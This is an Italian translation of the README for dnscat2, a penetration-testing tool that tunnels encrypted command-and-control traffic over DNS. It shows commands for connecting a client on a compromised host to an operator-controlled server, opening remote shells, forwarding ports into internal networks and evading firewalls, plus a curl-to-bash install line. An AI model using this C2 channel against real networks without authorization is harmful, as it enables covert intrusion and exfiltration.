iagox86/dnscat2Tunnel di comando e controllo crittografato tramite protocollo DNS. Crea canali C&C furtivi per test di penetrazione, con trasferimento file, accesso shell e capacità di port forwarding attraverso query DNS.
***** NOTA: La password per i download .zip è sempre "password"! *****
Benvenuti in dnscat2, un tunnel DNS che NON vi farà ammalare e uccidere!
Questo strumento è progettato per creare un canale di comando e controllo (C&C) crittografato tramite il protocollo DNS, che rappresenta un tunnel efficace al di fuori di quasi tutte le reti.
Questo file README dovrebbe contenere tutto ciò che serve per iniziare! Se siete interessati ad approfondire il protocollo, come è strutturato il codice, piani futuri o altri argomenti esoterici, consultate la cartella doc/.
Questo software è rilasciato sotto licenza BSD. Per maggiori informazioni, consultare LICENSE.md.
dnscat2 è composto da due parti: il client e il server.
Il client è progettato per essere eseguito su una macchina compromessa. È scritto in C e ha le minime dipendenze possibili. Dovrebbe funzionare quasi ovunque (se trovate un sistema in cui non compila o non viene eseguito, per favore aprite un ticket, soprattutto se potete aiutarmi ad ottenere l'accesso a quel sistema).
Quando eseguite il client, di solito specificate un nome di dominio. Tutte le richieste verranno inviate al server DNS locale, che verranno poi reindirizzate al server DNS autoritativo per quel dominio (che, presumibilmente, controllate).
Se non disponete di un server DNS autoritativo, potete anche usare connessioni dirette su UDP/53 (o qualsiasi altra porta). Saranno più veloci e sembreranno comunque traffico DNS a un osservatore occasionale, ma saranno molto più evidenti in un registro dei pacchetti (tutti i domini sono preceduti da "dnscat.", a meno che non modifichiate il sorgente). Questa modalità sarà spesso bloccata dai firewall.
Il server è progettato per essere eseguito su un server DNS autoritativo. È scritto in Ruby e dipende da diverse gemme. Quando lo eseguite, simile al client, specificate quali domini deve ascoltare, oltre ad ascoltare i messaggi inviati direttamente ad esso su UDP/53. Quando riceve traffico per uno di questi domini, tenta di stabilire una connessione logica. Se riceve altro traffico, lo ignora per impostazione predefinita, ma può anche inoltrarlo a monte.
Di seguito sono riportate le istruzioni dettagliate per entrambe le parti.
dnscat2 si sforza di essere diverso dagli altri protocolli di tunneling DNS essendo progettato per uno scopo speciale: comando e controllo.
Non è progettato per farvi uscire da una rete di hotel, o per ottenere Internet gratuito su un aereo. E non si limita a fare tunneling TCP.
Può fare tunneling di qualsiasi dato, senza protocollo allegato. Ciò significa che può caricare e scaricare file, può eseguire una shell e può fare queste cose bene. Può anche potenzialmente fare tunneling TCP, ma questo verrà aggiunto solo nel contesto di uno strumento di penetration testing (cioè, tunneling TCP in una rete), non come strumento di tunneling generico. È già stato fatto, non è interessante (per me).
Inoltre, è crittografato per impostazione predefinita. Non credo che nessun altro tunnel DNS pubblico crittografi tutto il traffico!
Ecco alcuni link importanti:
La teoria alla base di dnscat2 è semplice: crea un tunnel attraverso il protocollo DNS.
Perché? Perché il DNS ha una proprietà sorprendente: si farà strada da server a server fino a quando non capisce dove deve andare.
Ciò significa che, affinché dnscat possa portare il traffico fuori da una rete sicura, deve semplicemente inviare messaggi a un server DNS, che inoltrerà felicemente le cose attraverso la rete DNS fino a raggiungere il vostro server DNS.
Ciò, ovviamente, presuppone che abbiate accesso a un server DNS autoritativo. dnscat2 supporta anche connessioni "dirette" - cioè, eseguire un client dnscat che si connette direttamente al vostro dnscat sul vostro indirizzo IP e sulla porta UDP 53 (per impostazione predefinita). Il traffico sembra ancora traffico DNS e potrebbe superare sistemi IDS/IPS meno intelligenti, ma è ancora probabile che venga bloccato dai firewall.
Se non sapete come configurare un server DNS autoritativo, dovete configurarlo con un provider di domini. izhan ha gentilmente scritto una guida per voi!
La compilazione del client dovrebbe essere abbastanza semplice - tutto ciò che serve per compilare è make/gcc (per Linux) o Cygwin o Microsoft Visual Studio (per Windows). Ecco i comandi su Linux:
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/client/
$ make
Su Windows, caricate client/win32/dnscat2.vcproj in Visual Studio e premete "build". L'ho creato e testato su Visual Studio 2008 - finché non ottengo una copia legittima gratuita di una versione più recente, probablemente continuerò con quella. :)
Se la compilazione fallisce, per favore segnalate un bug sulla mia pagina GitHub! Inviate dettagli sul vostro sistema.
Potete verificare che dnscat2 sia stato compilato correttamente eseguendolo senza flag; vedrete che tenta di avviare un tunnel DNS con il vostro server DNS configurato (che fallirà):
$ ./dnscat
Starting DNS driver without a domain! This will only work if you
are directly connecting to the dnscat2 server.
You'll need to use --dns server=<server> if you aren't.
** WARNING!
*
* It looks like you're running dnscat2 with the system DNS server,
* and no domain name!*
* That's cool, I'm not going to stop you, but the odds are really,
* really high that this won't work. You either need to provide a
* domain to use DNS resolution (requires an authoritative server):
*
* dnscat mydomain.com
*
* Or you have to provide a server to connect directly to:
*
* dnscat --dns=server=1.2.3.4,port=53
*
* I'm going to let this keep running, but once again, this likely
* isn't what you want!
*
** WARNING!
Creating DNS driver:
domain = (null)
host = 0.0.0.0
port = 53
type = TXT,CNAME,MX
server = 4.2.2.1
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: The server hasn't returned a valid response in the last 10 attempts.. closing session.
[[ FATAL ]] :: There are no active sessions left! Goodbye!
[[ WARNING ]] :: Terminating
Il server non viene "compilato" in quanto tale, ma richiede alcune dipendenze Ruby. Sfortunatamente, le dipendenze Ruby possono essere noiose da configurare, quindi buona fortuna! Se ci sono esperti Ruby che vogliono aiutare a migliorare questa sezione, sarei grato!
Presumo che abbiate Ruby e Gem installati e funzionanti. Se non lo sono, installateli con apt-get, emerge, rvm o comunque sia normale sul vostro sistema operativo.
Una volta risolto Ruby/Gem, eseguite questi comandi (nota: potete ovviamente saltare il comando git clone se avete già installato il client e saltare gem install bundler se avete già installato bundler):
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server/
$ gem install bundler
$ bundle install
Se ottenete un errore di permessi con gem install bundler o bundler install, potrebbe essere necessario eseguirli come root. Se avete molti problemi, disinstallate Ruby/Gem e installate tutto usando rvm e senza root.
Se ottenete un errore simile a questo:
/usr/lib/ruby/1.9.1/rubygems/custom_require.rb:36:in `require': cannot load such file -- mkmf (LoadError)
Significa che dovete installare la versione -dev di Ruby:
$ sudo apt-get install ruby-dev
Trovo che sudo non sia sempre sufficiente per far funzionare tutto correttamente, a volte devo passare a root e lavorare direttamente con quell'account. rvmsudo non aiuta, perché rompe ctrl-z.
Potete verificare che il server funzioni eseguendolo senza flag e vedendo se ottenete un prompt dnscat2>:
# ruby ./dnscat2.rb
New window created: 0
Welcome to dnscat2! Some documentation may be out of date.
passthrough => disabled
auto_attach => false
auto_command =>
process =>
history_size (for new windows) => 1000
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53
[domains = n/a]...
It looks like you didn't give me any domains to recognize!
That's cool, though, you can still use direct queries,
although those are less stealthy.
To talk directly to the server without a domain name, run:
./dnscat2 --dns server=x.x.x.x,port=53
Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.
dnscat2>
Se non lo eseguite come root, potreste avere problemi ad ascoltare su UDP/53 (potete usare --dnsport per cambiarlo). In tal caso vedrete un messaggio di errore.
Se avete problemi a eseguire Ruby come root, ecco cosa faccio per eseguirlo la prima volta:
$ cd dnscat2/server
$ su
# gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3
# \curl -sSL https://get.rvm.io | bash
# source /etc/profile.d/rvm.sh
# rvm install 1.9
# rvm use 1.9
# bundle install
# ruby ./dnscat2.rb
E le volte successive:
$ cd dnscat2/server
$ su
# source /etc/profile.d/rvm.sh
# ruby ./dnscat2.rb
rvmsudo dovrebbe semplificare, ma sfortunatamente dnscat2 non funziona bene con rvmsudo.
Prima di parlare di come usare specificamente gli strumenti, parliamo di come è strutturato dnscat. Lo strumento dnscat è diviso in due parti: un client e un server. Come avrete notato se avete seguito la compilazione, il client è scritto in C e il server in Ruby.
Generalmente, il server viene eseguito per primo. Può essere longevo e gestire tutti i client che desiderate. Come ho detto prima, è sostanzialmente un servizio C&C.
Successivamente, viene eseguito un client, che apre una sessione con il server (maggiori informazioni sulle sessioni più avanti). La sessione può attraversare la gerarchia DNS (raccomandata, ma più complessa) o connettersi direttamente al server. Attraversare la gerarchia DNS richiede un dominio autoritativo, ma bypasserà la maggior parte dei firewall. Connettersi direttamente al server è più evidente per diversi motivi.
Per impostazione predefinita, le connessioni sono automaticamente crittografate (disattivatela sul client con --no-encryption e sul server con --security=open). Quando si stabilisce una nuova connessione, se siete paranoici riguardo agli attacchi man-in-the-middle, avete due opzioni per verificare il peer:
--secret su entrambi i lati per convalidare la connessioneIl server - che viene tipicamente eseguito sul server DNS autoritativo per un particolare dominio - è progettato per essere ricco di funzionalità, interattivo e user-friendly. È scritto in Ruby, e gran parte del suo design è ispirato a Metasploit e Meterpreter.
Se avete seguito le istruzioni di compilazione sopra, dovreste essere in grado di eseguire semplicemente il server:
$ ruby ./dnscat2.rb skullseclabs.org
Dove "skullseclabs.org" è il vostro dominio personale. Se non avete un server DNS autoritativo, non è obbligatorio; ma questo strumento funziona molto, molto meglio con un server autoritativo.
Questo dovrebbe essere tutto ciò che serve! Oltre a questo, potete testarlo usando il comando --ping del client su qualsiasi altro sistema, che dovrebbe essere disponibile se lo avete compilato:
$ ./dnscat --ping skullseclabs.org
Se il ping ha successo, il vostro server C&C è probabilmente funzionante! Se avete eseguito il server DNS su una porta diversa, o se dovete usare un resolver DNS personalizzato, potete usare il flag --dns in aggiunta a --ping:
$ ./dnscat --dns server=8.8.8.8,domain=skullseclabs.org --ping
$ ./dnscat --dns port=53531,server=localhost,domain=skullseclabs.org --ping
Notate che quando specificate un argomento --dns, il dominio deve far parte di quell'argomento (come domain=xxx). Non potete semplicemente passarlo da riga di comando (a causa di una limitazione del mio parser di comandi; Probabilmente migliorerò questo aspetto in una futura release).
Quando il processo è in esecuzione, potete avviare un nuovo server usando essenzialmente la stessa sintassi:
dnscat2> start --dns=port=53532,domain=skullseclabs.org,domain=test.com
New window created: dns2
Starting Dnscat2 DNS server on 0.0.0.0:53532
[domains = skullseclabs.org, test.com]...
Assuming you have an authoritative DNS server, you can run
the client anywhere with the following:
./dnscat2 skullseclabs.org
./dnscat2 test.com
To talk directly to the server without a domain name, run:
./dnscat2 --dns server=x.x.x.x,port=53532
Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53532.
Potete eseguire tutti gli ascoltatori DNS che volete, purché siano su host/porte diversi. Una volta che i dati arrivano, il resto del processo non sa nemmeno da quale ascoltatore provengono i dati; di fatto, un client può inviare pacchetti diversi a porte diverse e la sessione continuerà come previsto.
Il client - che viene tipicamente eseguito su un sistema dopo averlo compromesso - è progettato per essere semplice, stabile e portatile. È scritto in C e ha il minor numero possibile di dipendenze di librerie, e compila/funziona nativamente su Linux, Windows, Cygwin, FreeBSD e Mac OS X.
Al client viene fornito il nome di dominio sulla riga di comando, ad esempio:
./dnscat2 skullseclabs.org
In questo esempio, creerà una sessione C&C con il server dnscat2 in esecuzione su skullseclabs.org. Se un dominio autoritativo non è un'opzione, può essere fornito un indirizzo IP specifico a cui connettersi:
./dnscat2 --dns host=206.220.196.59,port=5353
Supponendo che ci sia un server dnscat2 in esecuzione su quell'host/porta, creerà una sessione lì.
Ehi, amico; ho sentito che ti piacciono i tunnel, quindi ora puoi fare tunnel di un tunnel attraverso il tuo tunnel!
Attualmente è possibile fare tunneling di una connessione attraverso dnscat2, simile a "ssh -L"! Altre modalità ("ssh -D" e "ssh -R") arriveranno presto!
Dopo che una sessione è stata avviata (una sessione di comando), il comando "listen" viene utilizzato per aprire una nuova porta tunnellizzata. La sintassi è più o meno la stessa di ssh -L:
listen [lhost:]lport rhost:rport
L'host locale è opzionale e sarà impostato per default su tutte le interfacce (0.0.0.0). La porta locale e l'host/porta remota sono obbligatori.
Il server dnscat2 ascolterà su lport. Tutte le connessioni ricevute su quella porta vengono inoltrate, tramite il client dnscat2, all'host/porta remota scelta.
Ad esempio, questo ascolterà sulla porta 4444 (sul server) e inoltrerà il traffico a google:
listen 4444 www.google.com:80
Quindi, se vi connettete a http://localhost:4444, uscirà dal client dnscat2 e si connetterà a google.com.
Diciamo che state usando questo in un penetration test e volete inoltrare connessioni SSH attraverso il client dnscat2 (in esecuzione sulla rete di qualcun altro) a un dispositivo interno. Potete!
listen 127.0.0.1:2222 10.10.10.10:22
Questo ascolterà solo sull'interfaccia localhost sul server dnscat2 e inoltrerà le connessioni attraverso il tunnel alla porta 22 di 10.10.10.10.
dnscat2 è crittografato per impostazione predefinita.
Non sono un crittografo e per necessità ho ideato io stesso lo schema di crittografia. Di conseguenza, non mi fiderei al 100%. Penso di aver fatto un lavoro abbastanza buono nel prevenire attacchi, ma non è stato controllato professionalmente. Usate con cautela.
Ci sono molte informazioni tecniche sulla crittografia nel documento sul protocollo. Ma ecco le basi.
Per impostazione predefinita, sia il client che il server supportano e tenteranno la crittografia. Ogni connessione utilizza una nuova coppia di chiavi, negoziata tramite ECDH. Tutta la crittografia è fatta con salsa20 e le firme usano sha3.
La crittografia può essere disabilitata sul client passando --no-encryption sulla riga di comando, o compilando con make nocrypto.
Il server rifiuterà le connessioni non crittografate per impostazione predefinita. Per consentire connessioni non crittografate, passate --security=open al server, o eseguite set security=open sulla console.
Per impostazione predefinita, non c'è protezione contro gli attacchi man-in-the-middle. Come menzionato prima, ci sono due modi diversi per ottenere protezione MitM: un segreto pre-condiviso o una "short authentication string".
Un segreto pre-condiviso viene passato sulla riga di comando sia al client che al server e viene utilizzato per autenticare sia il client verso il server che il server verso il client. Dovrebbe essere un valore abbastanza forte - qualcosa che non può essere indovinato rapidamente da un attaccante (c'è solo una breve finestra per l'attaccante per indovinarlo, quindi deve reggere solo per pochi secondi).
Il segreto pre-condiviso viene passato tramite il parametro --secret sia sul client che sul server. Il server può cambiarlo a runtime usando set secret=<nuovo valore>, ma questo può avere risultati imprevisti se ci sono client attivi connessi.
Inoltre, il server può imporre che siano consentite solo connessioni autenticate usando --security=authenticated o set security=authenticated. Questo è abilitato per impostazione predefinita se passate il parametro --secret.
Se non richiedete lo sforzo extra di autenticare le connessioni, allora una "short authentication string" viene visualizzata sia dal client che dal server. La short authentication string è una serie di parole inglesi che derivano dai valori segreti che entrambe le parti condividono.
Se la stessa serie di parole inglesi viene stampata sia sul client che sul server, la connessione può essere ragionevolmente considerata sicura.
Questo è più o meno tutto ciò che serve sapere sulla crittografia! Consultate il documento sul protocollo per i dettagli! Mi piacerebbe ricevere feedback sulla crittografia, anche.
E infine, se avete problemi con la crittografia, fatemelo sapere! Per impostazione predefinita, all'avvio viene creata una finestra chiamata "crypto-debug". Se avete problemi di crittografia, inviatemi quel log! O, meglio ancora, eseguite dnscat2 con gli argomenti --firehose e --packet-trace e inviatemi TUTTO! Non preoccupatevi di rivelare chiavi private; vengono utilizzate solo per quella singola sessione.
L'interfaccia utente di dnscat2 è composta da una serie di finestre. La finestra predefinita è chiamata finestra 'principale'. Potete ottenere un elenco delle finestre digitando windows (o sessions) in qualsiasi prompt dei comandi:
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53 domains = skullseclabs.org [*]
Noterete che ci sono due finestre - la finestra 0 è la finestra principale, e la finestra dns1 è l'ascoltatore (tecnicamente chiamato 'tunnel driver').
Da qualsiasi finestra che accetta comandi (main e sessioni di comando), potete digitare help per ottenere un elenco di comandi:
dnscat2> help
Here is a list of commands (use -h on any of them for additional help):
* echo
* help
* kill
* quit
* set
* start
* stop
* tunnels
* unset
* window
* windows
Per ognuno di questi comandi, potete usare -h o --help per ottenere dettagli:dnscat2> window --help Error: The user requested help
Interact with a window
-i, --i=<s> Interact with the chosen window
-h, --help Show this message
Useremo il comando window per interagire con dns1, che è una finestra di stato:
dnscat2> window -i dns1
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53531
[domains = skullseclabs.org]...
Assuming you have an authoritative DNS server, you can run
the client anywhere with the following:
./dnscat2 skullseclabs.org
To talk directly to the server without a domain name, run:
./dnscat2 --dns server=x.x.x.x,port=53531
Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53531.
Received: dnscat.9fa0ff178f72686d6c716c6376697968657a6d716800 (TXT)
Sending: 9fa0ff178f72686d6c716c6376697968657a6d716800
Received: d17cff3e747073776c776d70656b73786f646f616200.skullseclabs.org (MX)
Sending: d17cff3e747073776c776d70656b73786f646f616200.skullseclabs.org
Le stringhe ricevute e inviate sono, se le decodifichi, dei ping.
Puoi passare alla finestra 'genitore' (in questo caso, main) premendo ctrl-z. Se ctrl-z uccide il processo, allora probabilmente devi trovare un modo migliore per eseguirlo (rvmsudo non funziona, vedi sopra).
Quando un nuovo client si connette e crea una sessione, riceverai una notifica in main (e in alcune altre finestre):
New window created: 1
dnscat2>
(Nota che devi premere invio per riavere il prompt)
Puoi passare alla nuova finestra nello stesso modo in cui siamo passati alla finestra di stato dns1:
dnscat2> window -i 1
New window created: 1
history_size (session) => 1000
This is a command session!
That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.
command session (ubuntu-64) 1>
Le sessioni di comando possono generare sessioni aggiuntive; ad esempio, il comando shell:
command session (ubuntu-64) 1> shell
Sent request to execute a shell
New window created: 2
Shell session created!
command session (ubuntu-64) 1>
(Nota che in tutto questo documento sto ripulendo l'output; di solito devi premere invio per riavere il prompt)
Poi, se torni alla sessione principale (ctrl-z o suspend), la vedrai nell'elenco delle finestre:
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
1 :: command session (ubuntu-64)
2 :: sh (ubuntu-64) [*]
Sfortunatamente, il comando 'windows' in una sessione di comando specifica mostra solo le finestre figlie di quella sessione, e al momento le nuove sessioni non vengono generate come figlie.
Nota che alcune sessioni hanno [*] - ciò significa che c'è stata attività dall'ultima volta che le abbiamo guardate.
Quando interagisci con una sessione, l'interfaccia apparirà diversa a seconda del tipo di sessione. Come hai visto con il tipo di sessione predefinito (sessioni di comando) ottieni un'interfaccia utente proprio come la sessione di livello superiore (puoi digitare 'help' o eseguire comandi o altro). Tuttavia, se interagisci con una sessione 'shell', non vedrai molto immediatamente, finché non digiti un comando:
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
1 :: command session (ubuntu-64)
2 :: sh (ubuntu-64) [*]
dnscat2> session -i 2
New window created: 2
history_size (session) => 1000
This is a console session!
That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!
To go back, type ctrl-z.
sh (ubuntu-64) 2> pwd
/home/ron/tools/dnscat2/client
Per uscire da questa, puoi usare ctrl-z o digitare "exit" (che ucciderà la sessione).
Infine, per uccidere una sessione, si può usare il comando kill:
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
1 :: command session (ubuntu-64)
2 :: sh (ubuntu-64) [*]
dnscat2> kill 2
Session 2 has been sent the kill signal!
Session 2 has been killed
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
1 :: command session (ubuntu-64)
In passato, esistevano diversi strumenti di tunneling DNS. Uno si chiamava dnscat, scritto da Tadek Pietraszek. Il problema è che è scritto in Java, e io volevo qualcosa che potesse funzionare praticamente ovunque.
Quella versione di dnscat era basata su uno strumento chiamato NSTX, la cui pagina non esiste più e non è nemmeno nella Wayback Machine, quindi non so nulla al riguardo.
Più tardi, ho scritto un'implementazione in C e l'ho chiamata dnscat (senza permesso), dato che la precedente versione Java non era mantenuta e mi piaceva molto il nome (ho giocato con l'idea di chiamarlo dnscat-ng, ma -ng è un po' verboso per i miei gusti). Funzionava, ma c'erano molti problemi. Il client e il server erano lo stesso strumento, come netcat, il che, a causa del fatto che DNS è un modello client/server, non funzionava bene. L'altro problema era che lo avevo legato troppo al protocollo DNS, quindi poteva funzionare solo su DNS.
dnscat2 - il successore di dnscat - è un tentativo di correggere alcuni degli errori che avevo commesso. dnscat2 ha un server separato (Ruby) e un client (C) e tratta tutto come un flusso di byte, e usa una sorta di driver per convertire quel flusso di byte in richieste DNS e viceversa. Quindi, è un protocollo a strati, con DNS come strato inferiore.
Di conseguenza, ho inventato un protocollo che chiamo protocollo dnscat. Puoi trovare la documentazione al riguardo in docs/protocol.md. È un semplice protocollo di rete a polling, in cui il client interroga occasionalmente il server, e il server risponde con un messaggio (o un codice di errore). Il protocollo è progettato per essere resiliente ai vari problemi che ho avuto con dnscat1 - cioè, può gestire pacchetti fuori ordine, pacchetti persi e pacchetti duplicati allo stesso modo.